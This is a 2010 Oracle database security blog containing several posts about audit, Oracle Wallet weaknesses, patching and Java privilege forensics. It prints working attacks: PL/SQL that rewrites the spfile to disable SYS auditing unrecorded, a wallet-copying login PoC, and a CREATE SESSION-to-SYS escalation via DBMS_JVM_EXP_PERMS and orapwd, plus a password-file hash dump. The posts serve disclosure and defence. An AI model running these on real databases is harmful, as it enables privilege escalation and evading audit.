Three Tier Oracle Security in London ~ Paul M. Wright

Hello World,

Thanks to the many folks that attended the Sentrigo Webinar a few hours ago.
Marketing had a few problems with the GoToWebinar software which were solved by excellent team work, Dunkirk Spirit and a sense of humour ~ but did result in my being unable to show this demo of how CREATE ANY DIRECTORY privilege can be used to turn off SYS auditing ~ without the act of turning off the audit being recorded in the audit trail itself. This is why shutdowns and startups as part of mandatory audit are important for security folks to monitor as it may be the only evidence of unauthorised actions having taken place. It is also why using DAMS to enhance Oracle audit is a must for high security organisations (Note: Don’t forget to backup your spfile before you do this test).

SQL> sho parameter audit

NAME TYPE VALUE
———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean TRUE
audit_syslog_level string LOCAL1.INFO
audit_trail string DB

CREATE DIRECTORY DIR2 AS ‘/u01/app/oracle/product/11.2.0/db_1/dbs’;

DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
bu4 varchar2(32767);
bu5 varchar2(32767);
bu6 varchar2(32767);
BEGIN
bu2:=hextoraw(‘4322000001000000000000000000000000000000000000000000000000000000000014300′);
–
- – - 8< - - - SNIPPED FOR READABILITY.. SEE SCRIPT LINK AT END OF POSTING - - - 8< - - -
--
bu := hextoraw(bu2||bu3||bu4||bu5||bu6);
fi:=UTL_FILE.fopen('DIR2','spfileDB11G.ora','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

shutdown immediate
startup

SQL> sho parameter audit

NAME TYPE VALUE
———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean FALSE
audit_syslog_level string
audit_trail string DB

The above is a simple demo which arose from a recent conversation with Pete, and is a good reminder of why audit that is external to Oracle’s DB processes is important ~ plus reinforces the need to prevent DB users from accessing the OS. There are quite a few methods as described here http://www.red-database-security.com/tutorial/tutorials.html

The above demo is very similar to the CREATE ANY DIRECTORY paper I wrote a couple of years ago now. The point being that these critically important configuration files are not state checked ~ only the size of the file is verified. Good idea to record and verify sha1sum of these files over time .

The Powerpoint slides from today’s presentation are here.

Thanks again to all those concerned in the presentation today. If your organisation is interested in Oracle Security and/or DAMS you can contact me confidentially to discuss this at paulmwright@oraclesecurity.com . Here is the complete and fully tested script for the above demo (The code works well on 11.2 RHE5-64).

Cheers,
Paul

June 8th, 2010 | Category: Uncategorized | Leave a comment

First EU timed webinar on “securely recording the use of privilege in Oracle databases” went well. There will be a second later webinar timed for the US on Tuesday at this URL.

http://www.sentrigo.com/node/459 June 8, 10:00am PT/01:00pm ET
The content will include the following:
-Shortcomings of Oracle’s builtin audit trail.
-The generic differences between DAMS solutions.
-How DAMS contributes to compliancy requirements within the financial services.
-How I used DAMS to fix Java Zero days and how that can same process can be used to fix other unpatched vulnerabilities.
-How to integrate DAMS into the Change management process.

There will be some new content and of course folks from anywhere in the World can register if the time is convenient for them also (6pm London Time ~ UTC+1).

June 7th, 2010 | Category: Uncategorized | Leave a comment

Just came back from the Oracle Exadata day where there were some well honed presentation skills on offer. The general message seemed to be that Exadata V2 is bigger and better hardware with faster flash memory, but for general purposes can be regarded as being as a bigger 11g/OEL box. It is certainly more secure as no one is going to run off with it.

The Golden Gate presentation was interesting and discussed a new feature called Veridata which allows real time active DB comparison in order to see if a DB copy process has worked correctly. I was interested in how GG syncs the point of state-comparison and apparently this is done using an CSN which interleaves with the Oracle SCN to give a universal machine number. GG comes “free” with Active Data Guard so I think this is going to take off quite rapidly. From a security perspective, protecting the integrity of the Golden Gate sounds fertile ground, so have that on the list of todos after my ISSD presentation at 10.15 this Friday morning.
Putting the finishing touches to said presentation and there is some new content that I am quite pleased with about how to fix new unpatched Oracle software security vulnerabilities using DB application monitoring, which enables quicker SDLC and lower risk changes to Production. Saving money and lowering risk so should be a win win.

Lastly Sentrigo have kindly invited me to speak on a Webinar on the different subject of privilege monitoring https://www2.gotomeeting.com/register/413343138


Securely Recording The Use of Privilege in Oracle Databases
Wednesday, June 2, 2010 3:30 PM - 4:30 PM BST

Looking forward to speaking to you at one of the above in the near future.

Cheers,
Paul

May 19th, 2010 | Category: Uncategorized | Leave a comment

The dust has settled after Infosec and so what remains must by definition be memorable. In my case, I remember discussing the etymology of the word Oracle with a charming marketing exec. Yes, even before the Greeks, Alexander consulted Amun’s Oracle at Siwa and it must have been good advice as he went onto to “liberate” half of Eurasia. More pertinently I enjoyed talking to Oracle folks about single sign on which is one of the most active inhouse Oracle Security sectors.

Then I moved onto Arcsight . They have packaged some of the ideas about centralised log correlation using an Oracle depository which I discussed years ago in my Oracle Forensics book. I was impressed with the detailed thoroughness of the Arcsight solution (five timestamps per entry!). I find the relationship between networked time and distributed SCNs fascinating.. more to come on this later.

The highlight of the show for me was discussing Guardium’s DAMS technology with some knowledgeable folks. Guardium has grown into quite a big product and interestingly expanded into a holistic change management tool which can integrate with business processes connected to security. I like IBM research and enjoyed speaking to the team there. It is doubly interesting that there are still challenges that have not been solved by either Guardium, Sentrigo or Imperva e.g. alerting to users logging on that currently have the DBA role is a basic requirement but cannot be done properly by either products as neither can run SQL as part of a rule. DAMS are becoming reliable now and ready for serious Enterprise integration but can still be improved. Each one has different advantages which will suit different client requirements.

Also we should not forget that for some activity monitoring purposes the Oracle DB can cope quite nicely on it’s own. Basic audit to SYS.AUD$ for low occurrence events provides low perf hit audit which is cheap and will suffice in some cases. Additionally in 11g the AUDIT_SYSLOG_LEVEL parameter provides extra facility for sending OS audit to SYSLOG, which by default is only accessible to root. Interestingly when AUDIT_SYSLOG_LEVEL along with AUDIT_SYS_OPERATIONS is set to TRUE then all SYS* operations are recorded to /var/log/secure even if AUDIT_TRAIL is set to NONE. Or if AUDIT_TRAIL is set to DB for SYS.AUD$ then SYS* actions go to syslog and nonSYS* actions go to the DB….hmmm…

So if DBA accounts do not have root access then AUDIT_SYSLOG_LEVEL parameter can provide some separation of duty. root unix SysAdmins can audit DBA accounts even though they the DBAs have access to the oracle unix account. This would not have been the case with traditional OS audit via *.aud files which are accessible from the oracle unix account.

In my experience banking does try to separate root access from the DBA account holders, so there can be value in using AUDIT_SYSLOG_LEVEL in this way … but there are a couple of points to bear in mind.

1. A user with oracle unix account or just SYSDBA privilege can still turn off the audit trail anyway as it is controlled from the DB!
2. Any audit to the DB is almost useless from security perspective as a low privileged user that escalates to DBA can then delete those escalatory actions from SYS.AUD$. Of course they would have turned off AUDIT_SYS_OPERATIONS and AUDIT_SYSLOG_LEVEL first to omit SYSLOG entries.

So..the only evidence of audit trail omission after an exploitative escalation would be a mandatory audit entry showing the SYS connection and reboot. Therefore from a security perspective auditing should be handled externally from the database. This is true of all systems. Effective Audit has to be an external function. That is why DAMS like Guardium, Imperva and Sentrigo have a significant role to play for the forseeable future IMO.

Unfortunately I don’t have time to go into more detail on this currently, but will be following up especially with regards to host based DAMS which potentially have the most to offer for high security environments.

Cheers,
Paul

May 5th, 2010 | Category: Uncategorized | Leave a comment

Hello Oracle Security interested folks,

Firstly thanks to Oracle for referencing my Oracle Wallet article on www.oracle.com as well as the interesting comments from our readers. This blog has become quite popular so thank you for your support.

I have some excellent news as my company has been selected as a Channel Partner for Sentrigo covering the South East of England. Some of you may be aware that I have already successfully deployed the Hedgehog solution within the financial services sector in London over the past 2 years.
Reliable, low resource consuming, host-based DB/Application monitoring has been the holy grail for the last decade and is provably with us in the form of Sentrigo Hedgehog. Effective DB/App security has to be host-based and Sentrigo’s is the best host-based agent because they specialise in this technology. Further details can be provided to backup this assertion by emailing myself at paulmwright@oraclesecurity.com

So.. here is a simple query for finding user accounts which have had their Java privileges escalated and then the user has subsequently been dropped:

select * from JAVA$POLICY$ where grantee# in (select grantee# from sys.JAVA$POLICY$ minus select user# from sys.user$);

If this check returns a resultset it is potentially indicative of historic Java exploit testing in the DB… more in-depth information to come on Java Security at ISSD.

Cheers,
Paul

April 25th, 2010 | Category: Uncategorized | Comments (2)

Hello,

So it is Oracle patch testing time again which includes Java and Applications too, not just the DB, but it’s a good place to start today…
The CPU or PSU is available for 10.2.0.4 and above for most installations, though the next CPU is the last one for 9i. Most I think will be installing the 10.2.0.4.4 PSU after an appropriate test period. I have just installed it and done a state check before and after to give a comparison which has been quite interesting.

The April PSUs installed fine on 10.2.0.4.x and 11.2.0.1.x for RHE 64bit

The install gotchas are this error message which seems to be ignorable.

--------------------------------------------------------------------------------
The following warnings have occurred during OPatch execution:
1) OUI-67620:Interim patch 9352164 is a superset of the patch(es) [ 9119284 ] in the Oracle Home
--------------------------------------------------------------------------------

and this one which needs opatch to be told where the inventory is

------------------------------------------------------------------------------------
OPatch cannot find a valid oraInst.loc file to locate Central Inventory.
------------------------------------------------------------------------------------
solution:
opatch apply -invPtrLoc /full/path/oraInst.loc

Apart from that, the install was pretty smooth. I did a state check of before and after the patch to provide a comparison of the changes made by the patch….

In summary the relevant results are :
DBMS_JVM_EXP_PERMS has public execute revoked and granted back to two roles:
-IMP_FULL_DATABASE
-EXP_FULL_DATABASE (DATAPUMP_EXP_FULL_DATABASE in 11g)
Additionally DBMS_JVM_EXP_PERMS has a different checksum from the usual 1571791935 to 1575678292 so the code has changed..

SQL> select avg(dbms_utility.get_hash_value(text,1000000000,power(2,30)))
from dba_source where name='DBMS_JVM_EXP_PERMS' and owner = 'SYS';

AVG(DBMS_UTILITY.GET_HASH_VALUE(TEXT,1000000000,POWER(2,30)))
-------------------------------------------------------------
                                                   1575678292

The other DBMS_JAVA and DBMS_JAVA_TEST package checksums have not changed and have been dealt with just by revoking public from oracle/aurora/util/Wrapper. Revoking public from DBMS_JAVA can not be done without affecting other Java applications hence this compromise. This is an incomplete solution because oracle/aurora/util/Wrapper is just a vector and if another utility class could be found or written then the escalation path becomes valid again in 11g..

More to come on Java Security at the ISSD Conference where I will be presenting on how to secure Three Tier Applications both by adopting secure coding and static/dynamic analysis within the initial development design phases, as well as how to use real-time application behaviour monitoring to scope incremental fixes to already installed applications that require high availability in Production. Application monitoring allows changes to be made with lower risk, more quickly, thus shortening the SDLC, and reducing costs. This two pronged approach is effective in commercial practice and I am excited to be able to present this to you at 10.15 AM on the 21st of May. I think the ISSD is a worthwhile cause so I am proud to support this initiative.

Look forward to seeing you there.

Cheers,
Paul

April 14th, 2010 | Category: Uncategorized | Leave a comment

Hello Oracle Security interested people,

The generic problem of how to automatically invoke an SQL script remotely whilst keeping the password secret from other users of the client OS, is not as trivial as it may at first sound.

Consider the common scenario where an SQL script is currently ran from SQL*PLUS invoked from a shell script on a UNIX client host to a seperate database server.

The DBAs and the security team identify that the plaintext DB password in the shell script on the client host is a security risk as many users on the source OS can read the shell script with the hardcoded password, and could therefore use that password to logon from a different machine and run their own commands as that user.

One answer to this problem is to instead invoke the script using the Oracle Wallet with Auto Login enabled as the password for the DB will then be encrypted in the Wallet.

However I have experienced a general misconception amongst DBAs and Security Engineers regarding the actual security posture of using this feature in that way.
The security of the Oracle Wallet is only file-based, so if an attacker can still read the wallet they can login as that user from a different machine by copying over the contents of the Wallet without having to supply the password.

Thus the security of the Wallet for invoking scripts remotely is not that much better than the original plaintext password stored in the shell script invoking SQL*PLUS, because BOTH METHODS DEPEND ON OS FILE AND DIRECTORY PERMISSIONS FOR THEIR SECURITY!

The widespread misconception is that the Oracle Wallet is bound to it’s host, which is incorrect. This misconception represents a security issue which this article will clear up.

So here is some PoC code to show that the Oracle wallet can be copied to another Machine B and used to login without knowledge of the original encrypted password.

First let’s set up the Oracle Wallet on Machine A which represents the legitimate original host for the script.

-- add the sqlnet.ora configuration line
[oracle@machineA admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora
WALLET_LOCATION =
   (SOURCE =
     (METHOD = FILE)
     (METHOD_DATA =
       (DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
     )
   )

SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0

--create the wallet itself giving a location for the files as per sqlnet.ora above and with a master password for the whole wallet
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create

Enter password:

Enter password again:

--add the oracle DB account credentials which are referred to later by the alias orcl2
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -createCredential orcl2 system lowsec11

Enter wallet password:    

Create credential oracle.security.client.connect_string1

--logon using the slash / connect internal syntax referencing the tnsnames alias which automatically maps to the wallet credential above.
[oracle@machineA admin]$ sqlplus /@orcl2
SQL*Plus: Release 10.2.0.4.0 - Production on Sat Apr 10 21:30:21 2010
Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL>

–Right, so the Oracle Wallet has been successfully setup and used to connect as system/lowsec11 to a remote DB named orcl2 from Machine A

–But the Attacker has read on the victim’s Wallet on A and wishes to login as the victim to the DB server from the Attacker’s Machine B and then run their own SQL commands.
The Attacker firsts create a dummy wallet on MachineB. So the attacker edits their sqlnet.ora file on MachineB to include the path to their Wallet files. N.B in the example below I have used the same OS username and paths on Machine B as per Machine A but this is not actually required as the Oracle Wallet makes no check as to the OS username or path in which it is located to access the AUTO LOGIN feature. Authentication is literally based on possession of the .sso file.

[oracle@machineB admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora

WALLET_LOCATION =
   (SOURCE =
     (METHOD = FILE)
     (METHOD_DATA =
       (DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
     )
   )

SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0

[oracle@machineB admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create
Enter password:

Enter password again:

--Then copy over the cert files from Machine A To Machine B

[oracle@machineB admin]$ sftp oracle@192.168.1.201
sftp> pwd
Remote working directory: /home/oracle
sftp> cd /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/
sftp> ls
cwallet.sso      ewallet.p12      listener.ora     samples          shrept.lst       sqlnet.ora
tnsnames.ora
sftp> get *wallet*.*
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso to cwallet.sso
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso                                   100% 8308     8.1KB/s   00:00
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12 to ewallet.p12
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12                                   100% 8280     8.1KB/s   00:00
sftp>
sftp> exit

[oracle@machineB admin]$ sqlplus /@orcl2

SQL*Plus: Release 11.2.0.1.0 Production on Sat Apr 10 23:30:30 2010

Copyright (c) 1982, 2009, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL>

All the attacker needs is read on the target Wallet and the alias used for the DB which is in the source script or tnsnames.ora. So to reiterate ~ the security of the Oracle Wallet is dependent on the OS file permissions and is not bound to the machine ~ i.e. not that much better than the security posture of the original hardcoded password. The solution to the original problem is to more tightly control OS access to the directory where the script lives. Also a uniquely named DB account specifically for that script would help to alert to the accounts credentials becoming more widely known. Additionally OS and DB auditing should be used to verify that the controls have been effective. More on how to setup this audit trail securely in an upcoming article as well as the second part of the Java Forensics in Oracle article.

Cheers,
Paul

April 11th, 2010 | Category: Uncategorized | Comments (6)

Java Forensics In Oracle ~ Part 1

As discussed in last week’s post there is a serious threat in all patched Oracle databases due to vulnerabilities in the Java privilege model as originally published by David. Last week I added the example of recreating the password file with a new SYS password in order to show the seriousness and variety of attacks possible using these new Java privilege vectors.

This week I want to show you how to ascertain whether or not Java privilege attacks have occurred in your database both as a precaution and for post incident forensics in order to verify if an attack of this nature has OR has not occurred.

Firstly lets look at the situation where an attacker uses DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY to grant themselves any Java privileges from CREATE SESSION due to the PUBLIC execute on DBMS_JVM_EXP_PERMS.

If your database is collecting error messages then look out for ORA-29532: error message on 10.2.0.4.x

SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
  4    5  FETCH C1 BULK COLLECT INTO POL;
  6  CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  7    8  END;
  9  / 10
DECLARE
*
ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.lang.SecurityException: policy table update java.lang.RuntimePermission,
loadLibrary.*
ORA-06512: at "SYS.DBMS_JVM_EXP_PERMS", line 189
ORA-06512: at line 8

The privilege escalation has still been successful so the error message is a bit misleading but could be a useful indicator.

SQL>  SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

TYPE_NAME
--------------------------------------------------------------------------------
NAME
--------------------------------------------------------------------------------
ACTION
--------------------------------------------------------------------------------
java.io.FilePermission
<<ALL FILES>>
execute

Let’s focus on identifying the above Java privilege escalation.

Once Java privileges have been assigned there are multiple ways of using privilege to gain SYSDBA, and once gained, an attacker would clean the trail they had left behind, by first installing a rootkit, and then revoking privileges and dropping accounts that were created on the way. Thus the challenge of a forensic investigator is to look for clues that an attacker may not have been diligent enough to clean up.

So firstly how can we see if a user has granted themselves Java privileges?

DBA_JAVA_POLICY is the key view, and this helpfully shows all the java privileges granted chronologically using incrementing SEQuence number..

SELECT * FROM DBA_JAVA_POLICY ORDER BY seq desc;

KIND	GRANTEE	TYPE_SCHEMA	TYPE_NAME		  NAME			ACTION	ENABLED	SEQ
-----------------------------------------------------------------------------------------------------
GRANT   JAVATEST SYS  java.io.FilePermission	<<ALL FILES>>	execute	ENABLED	282
GRANT	SCOTT	SYS	java.io.FilePermission		<<ALL FILES>>	execute	ENABLED	242
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	writeFileDescriptor	*	ENABLED	223
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	readFileDescriptor	*	ENABLED	222

The important piece of information to note is that, if the Java privilege is subsequently revoked the privilege still shows in the DBA_JAVA_POLICY view and then shows as disabled. Thus the DBA_JAVA_POLICY view persists historical GRANTS, unlike DBA_TAB_PRIVS. But when the user is dropped, in this case JAVATEST, the privileges are removed..

DROP USER JAVATEST CASCADE;

SELECT * FROM dba_java_policy ORDER BY seq DESC;

--and the JAVATEST record has disappeared, which means that there is no evidence of JAVATEST having ever had the escalated privileges?

KIND	GRANTEE	TYPE_SCHEMA	TYPE_NAME		         NAME			ACTION	 ENABLED	 SEQ
-----------------------------------------------------------------------------------------------------
GRANT	SCOTT	SYS	java.io.FilePermission		<<ALL FILES>>	execute	ENABLED	242
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	writeFileDescriptor	*	ENABLED	223
GRANT	SYSTEM	SYS	java.lang.RuntimePermission	readFileDescriptor	*	ENABLED	222

So if an attacker knows this, they are likely to drop the attacking account and recreate it if necessary as part of a post attack anti-forensics clean up.

However interestingly if we look at the sys.java$policy$ base table to the DBA_JAVA_POLICY view, we will see that the base table actually persists the Java grants, even after the user has been dropped!!! This is useful for a post incident investigation.

SELECT * FROM sys.java$policy$ ORDER BY key DESC;

KIND#	GRANTEE#	TYPE_SCHEMA#	TYPE_NAME	NAME	ACTION	STATUS#	KEY
-----------------------------------------------------------------------------------------------------
0	101	0	java.io.FilePermission	<<ALL FILES>>	execute	2	282
0	100	0	java.io.FilePermission	<<ALL FILES>>	execute	2	262
0	54	0	java.io.FilePermission	<<ALL FILES>>	execute	2	242

--Note that the GRANTEE# correlates to the sys.user$.USER# column and we can see
-- that user 101 and 100 both had execute on<<ALL FILES>>
-- ,but these users no longer exist in sys.user$ and still the privs are recorded in sys.java$policy$ ~which could be very useful info..

SQL> select name from sys.user$ where user# in (101, 100);

no rows selected

SQL> select name from sys.user$ where user# in (54);

NAME
------------------------------
SCOTT

--Of course a clever attacker that had gained SYS could delete from the base table..

SQL> delete from sys.java$policy$ where key='242';

1 row deleted.

SQL> commit;

Commit complete.

--And the evidence of the escalation has gone.. How would an investigator see that the table had been modified in this case?
--Tracing back further it would hopefully be possible to use the dba_tab_modifications view:

SQL> SELECT * FROM dba_tab_modifications WHERE table_name='JAVA$POLICY$'
  2  ;

no rows selected
--This empty result set is due to the fact that MONITORING is not set on this table by default. This could be rectified as follows in this example.
SQL> exec dbms_stats.gather_table_stats ('SYS','JAVA$POLICY$');

PL/SQL procedure successfully completed.

SQL> delete from sys.java$policy$ where key='282';

0 rows deleted.

SQL>  delete from sys.java$policy$ where key='242';

1 row deleted.

SQL> execute dbms_stats.flush_database_monitoring_info;

PL/SQL procedure successfully completed.

SQL> SELECT * FROM dba_tab_modifications WHERE table_name='JAVA$POLICY$';

TABLE_OWNER     TABLE_NAME      PARTITION_NAME      SUBPARTITION_NAME  INSERTS    UPDATES    DELETES TIMESTAMP TRU DROP_SEGMENTS
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------- ----------
SYS                 JAVA$POLICY$                                           0          0          1        31-MAR-10 NO              0

--It is unlikely that a DB will have had this default setting changed beforehand though..
--So what else can be done to see if the DBA_JAVA_POLICY table has been changed recently?

SQL> select scn_to_timestamp(Max(ora_rowscn)) from sys.java$policy$;

SCN_TO_TIMESTAMP(MAX(ORA_ROWSCN))
-----------------------------------------------------
30-MAR-10 06.10.06.000000000 PM

Note: this query will normally work up to 7 days after the change has occurred, so if you get this ORA-08181 error the table has probably not had DML on it for over that time.

ORA-08181: specified number is not a valid system change number

Also this query is dependant on the efficacy of the SCN.. as well as its mapping to timestamp in the table where this information is stored i.e. SYS.SMON_SCN_TIME. More to come on this in Part 2 hopefully next week..

BTW thanks greatly to HTC support in the UK, who are one of the best customer support teams I have dealt with. Really nice, knowledgeable and helpful people.
They got me connected to Vodafone Internet using the Nexus One in a few minutes, and connectivity is quicker than the WIFI connection.
I have Connectbot free SSH client connecting my Nexus to remote SSH in order to carry out Oracle commands remotely, and securely via the Nexus multi-touch screen. iPhone folks have been doing this for a while I know, so playing catchup but I like the open HTC hardware and google cloud connectivity through Android as well as the many new apps that are appearing on Google marketplace ~ so still pleased with the purchase on the whole, though I would like to know more about the steps that are being taken to review the security of applications that are being offered on the marketplace. Android SQL*PLUS client next ..

Until next time, keep safe and secure.

Cheers,
Paul

March 31st, 2010 | Category: Uncategorized | Comments (2)

Hi All,

The recent Java Security research from David, formerly of NGSSoftware, could be summarised simply in that DBMS_JVM_EXP_PERMS can be used to grant Java privileges in the Oracle DB which can then be leveraged via DBMS_JAVA or DBMS_JAVA_TEST packages to gain DBA, therefore one should revoke public execute from those packages and grant to the users that require them. Easy? Not so simple unfortunately..

1. How do you know what users requires those executes? Can trace dependencies of packages and monitor the behaviour of the application using a Database Application Monitoring System as outlined in my recent SecuringJavaInOracle paper.
However this cannot be guaranteed to get all the grantees that are needed and I have experienced examples of applications breaking due to the revocation of these privileges from public.

2. The reason there are public executes in the first place is that there is no way of inheriting execute via a role for other packages (via Definer’s rights). Therefore replacing a single public execute with individual privileges may require many complex grants as discussed in a previous post .

What this means is that in the absence of a patch, a lot of organisations are not yet fixing this issue due to the difficultly of predicting the outcome of the revokes which makes the perceived risk of fixing the vulnerabilities greater than the perceived risk faced by staying vulnerable.
This misconception needs addressing as these Java vulnerabilities in Oracle are not only very serious they also open up a wider field of research which will result in more vulnerabilities and varied exploits which are difficult to defend against.

Let’s take a look at an issue I came across recently as an example…

For those of you that have read my CREATE ANY DIRECTORY paper you will know about the orapwd command for recreating the password file.
orapwd accepts an argument for resetting the SYS password for remote logon which is effective if the REMOTE_LOGIN_PASSWORD parameter is set to EXCLUSIVE or SHARED. (EXCLUSIVE is the default). This is the command and can only be ran by the oracle unix user thus stopping lower privileged users from changing the sys password.

[oracle@localhost dbs]$ orapwd file=orapwDB11G password=newsyspassword

Problem is that this same command can be invoked by any user with CREATE SESSION from within the Oracle database by extending the Java Security research already mentioned as below.

create user javatest identified by javatest;
grant create session to javatest;
conn javatest/javatest;

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper mv /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11Gbu') FROM DUAL;

SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main', '/u01/app/oracle/product/11.2.0/db_1/bin/orapwd', 'file=/u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G', 'password=attackersyspassword') from dual;

–Let’s run the code above on 11.2.0.1.0 as a test to prove the theory:

[oracle@linuxbox dbs]$ sqlplus / as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Mon Mar 22 03:03:23 2010

Copyright (c) 1982, 2009, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> drop user javatest cascade;

User dropped.

SQL> create user javatest identified by javatest;

User created.

SQL> grant create session to javatest;

Grant succeeded.

SQL> conn javatest/javatest;
Connected.

SQL> sho user
USER is "JAVATEST"

SQL> SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

no rows selected

SQL> DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT','JAVATEST','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/  2    3    4    5    6    7    8    9   10  

PL/SQL procedure successfully completed.

SQL> SELECT TYPE_NAME, NAME, ACTION FROM USER_JAVA_POLICY WHERE GRANTEE_NAME ='JAVATEST';

TYPE_NAME
--------------------------------------------------------------------------------
NAME
--------------------------------------------------------------------------------
ACTION
--------------------------------------------------------------------------------
java.io.FilePermission
<<ALL FILES>>
execute

--so JAVATEST has granted itself execute on ALL FILES
--now to back up the password file and create a new one with a known SYS password, all from the JAVATEST DB account.

[oracle@linuxbox dbs]$ pwd
/u01/app/oracle/product/11.2.0/db_1/dbs

[oracle@linuxbox dbs]$ ls -alt
total 32
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:13 .
-rw-r-----  1 oracle oinstall 1536 Mar 22 03:10 orapwDB11G
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r-----  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r-----  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw----  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r--r--  1 oracle oinstall 2851 May 15  2009 init.ora

SQL> SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper mv /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G /u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11Gbu') from dual;     

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERMV/U01/APP/ORACLE/PRODUCT/11.2.0/DB
--------------------------------------------------------------------------------

[oracle@linuxbox dbs]$ ls -alt
total 32
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:15 .
-rw-r-----  1 oracle oinstall 1536 Mar 22 03:10 orapwDB11Gbu
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r-----  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r-----  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw----  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r--r--  1 oracle oinstall 2851 May 15  2009 init.ora

Previous passwordfile with SYS password with value of s3cure_passw0rd (DB2D9F77CDEAD689)

^@^@^@^@^@^B^@^@^B^@^@^@[Z^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^ ...snip
@^@^@^@^@^@^@^@^@ORACLE Remote Password file ^@^@^@^[^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^C^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@INTERNAL^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^H^@
^@^@0C1039E573528743^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^__(<85>^DàÇ·ÔÙ<9d>^C
V3QJºmy&^H#ÍWÉÐ^L^RqÑÌ^@SYS^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
